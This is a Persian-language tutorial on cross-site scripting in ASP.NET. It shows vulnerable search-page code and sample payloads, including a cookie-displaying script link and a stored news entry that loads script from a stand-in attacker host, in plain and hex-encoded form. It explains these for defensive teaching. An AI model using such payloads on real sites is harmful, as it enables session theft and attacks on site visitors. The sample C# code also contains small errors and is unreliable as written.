حمله به برنامههای وبی (۲):
Cross-Site Scripting
اين
نوع حمله خيلی
مشابه به
حملات تزريق
اسکريپت است و
در مواقعی
اتفاق میافتد
که کد اسکريپت
توسط صفحات
پويای وب ساير
سايتها در
مرورگر وب
وارد شود. در
اين نوع
حملات، هدف
هکر خود سايت
نيست، بلکه
کاربران آن مد
نظر میباشند.
فرض کنيد که يک
سايت عبارات
جستجو را با
استفاده از
مجموعه
QueryString (در
صورتی که برنامه با استفاده از فناوری .NET توسعه
داده شده
باشد) و از
طريق متد
HTTP Get
دريافت میکند،
و ساير سايتها
میتوانند
عبارات جستجو
را با عبارت
پرس و جوس
Search
ارسال کنند. YourSite.com?Search=asp.net
صفحه
جستجو رشته
پرس و جو را
خوانده و در
پايگاه داده
به دنبال
عبارت مورد
نظر میگردد و
در نهايت
نتيجه جستجو
را نمايش میدهد.
در صورتی که
دادهای
متناسب با
عبارت مورد
نظر در پايگاه
داده وجود
نداشته باشد،
پيامی مبنی بر
يافت نشدن جواب
توليد و نمايش
داده خواهد
شد.
در
صفحه جستجو
قالبی کدهای
زير وجود
دارند:
void Page_load(Object Src,EventArgs E)
{
String sSearchStr="";
NameValueCollection ColQstr = Request.QueryString;
String[] qStrAry = colQstr.AllKeys;
for (int i
= 0; i<= qStrAry.GetUpperBound(0);
i++)
{
if (qStrAry[i]
== "search")
{
String[] qStrAry = colQstr.AllKeys;
for (int j = 0; j<=qStrAryVal.GetUpperBound(0); j++)
{
sSearchStr = qStrAryVal[j];
break;
}
}
}
if (sSearchStr.Trim() !=
"")
{
if (SearchDataStore(sSearchStr) == false)
lblResult.Text = "The search keyword
" + sSearchStr +
" did not produce any results. Please try again.";
}
}
bool SearchDataStore(String sSearchStr)
{
/*Perform the search against the datastore
and display the
result. if there are no results
then return false.*/
return false;
}
رويداد
Page_Load
پارامتر Search
را در QueryString خوانده و
مقدار آن را
بازيابی ميکند.
سپس با
فراخوانی متد SearchDataStore اقدام
به بازيابی
نتايج رشته
جستجو مینمايد.
در صورتی که
موردی در
پايگاه داده
يافت نشد
مقدار
بازگشتی اين
متد false
خواهد بود.
بعد از اين
فرايند
رويداد Page_Load نتايج
جستجو را
نمايش میدهد
(اگر بازگشتی
متد true
باشد
رکوردهای يافت شده و در
صورتی که false باشد
پيغام خطای
مناسب). تا
اينجا همه چيز
روال عادی خود
را طی میکند.
حال فرض کنيد
يک کاربر و يا
سايتی ديگر
عبارت زير را
تايپ نمايد:
Process.Aspx?Search=<script>alert(CSS Attack); </script>
رويداد
Page_Load
رشته پرس و جو
را پردازش
نموده و پيام
زير را نمايش
ميدهد:
به
طريق مشابه،
کاربر ميتواند
متن زير را
وارد نمايد:
<a
href="process.aspx?Search=<script>alert(document.cookie);</script>">Click
here </a>
با
کليک لينک
توسط کاربر،
کنترل مرورگر
به يک سايت
ديگر منتقل میشود
و تمام
اطلاعات
cookie
های سايت اصلی
در پنجره
alert
نمايش داده میشود.
کد
JavaScript از داخل حاشيه امنيتی دامنه فعلی اجرا
میشود و بنابراين کدهايی قابل اجرا هستند که از خارج قابل اجرا
شدن نيستند.
به
طريق مشابه
امکان ارسال
اطلاعات Cookie
به يک سرور
ديگر نيز وجود
دارد.
نوع
ديگری از
حملاتی که به
اين شيوه قابل
انجام است
بسيار
پيشرفتهتر
است. فرض کنيد
يک سايت
اطلاعات
موجود در وب
در مورد
فناوري را
جمعآوری
نموده و در
اختيار
کاربران خود
قرار ميدهد.
در اين سايت
امکانی فراهم
آمده است که
کاربران ميتوانند
آخرين اخباری
را که از
نظرشان جالب و
مناسب سايت
است را وارد
نمايند. در
صورتی که هيچ
گونه
اعتبارسنجی
بر روی داده
ورودی انجام
نشود، با وارد
شدن اطلاعات
توسط کاربر،
سيستم آن را
در پايگاه
داده خود
ذخيره نموده و
پيشنمايشی
از آن را
ارائه میدهد.
در اين ساختار راه نفوذ
برای هکرها باز است و میتوانند با وارد کردن متنی مانند زير به اهداف خرابکارانه
خود برسند:
News: Here is a Cross-Site
Script Attack
URL:
www.SomeSite.com/default.aspx?ID=<script
src='http://CssAttack.com/dostuff/js'></script>
اگر برنامه بدون اعتبار
سنجی URL، آن را
پذيرفته و در
پايگاه داده
وارد کند سايت
و بينندگان آن
در معرض حملات
Cross-site قرار
ميگيرند. اگر
متن اسکريپتی
که وارد شده
است مستقيما
وارد پايگاه
داده شده و از
اين پس به
صورت هفتگی
برای مشترکين
ارسال شود،
نتايج زيان
باری حاصل ميشود.
هر کس که بر
روی لينک خبر
کليک کند آدرس
URL را در
مرورگر خود مشاهده
خواهد کرد و
جاوا اسکريپت
بيان شده در SRC نشانه script اجرا میشود.
نمونه
ديگری از اين
نوع حملات به
اين صورت انجام
ميشود که هکر
به جای
استفاده از
متن به فرمت
ASCII يا
Unicode از کد
حروف
hex استفاده
مینمايد.
News: Here is a Croos-Site
Script Attack
URL:
http://77%2077%2077%202e%2053%206f%206d%2065%2073%2069%2074%2065%20
2e%2063%206f%206d/default.aspx?3c%2053%2063%2072%2069%2070%2074%2020%20
73%2072%2063%203d%2092%2044%206f%2053%2074%2075%2066%2066%202e%20
4a%2073%2092%203e%203c%202f%2053%2063%2072%2069%2070%2074%203e
حروف فوق در قالب ASCII
معادل
News: Here is a Cross-Site Script
Attack
URL: www.SomeSite.com/default.aspx?ID=<script
src='http://CssAttack.com/dostuff/js'></script>
ميباشند.
با
مشاهده موارد
فوق مشخص ميشود
که اعتبار
سنجی دادهها
در زمان ورود
اهميت فوقالعادهای
دارد.
اسکريپتی که
در
URL ارائه ميگردد
میتواند
اعمال بسيار
خطرناکی را
انجام دهد که
بستگی به
قابليتهای
زبان اسکريپتنويسی
دارد. اين
اعمال شامل
موارد زير میباشند:
·
ممکن
است دادهها
تحريف شوند،
به عنوان مثال
ممکن است
محتويات يک
cookie تغيير
يابد.
·
يکپارچگی
اطلاعات به
خطر افتد.
·
اسکريپتهايی
با اهداف
خرابکارانه
در محيط سايتهای
مطمئن اجرا
شوند.
·
Cookie ها
مقدار دهی شده
و يا اطلاعات
آنها خوانده شود.
·
ورودیهای
کاربران مورد
استراق سمع
واقع شود.
·
کاربران
به سايتهايی
نامطمئن
هدايت شوند.
|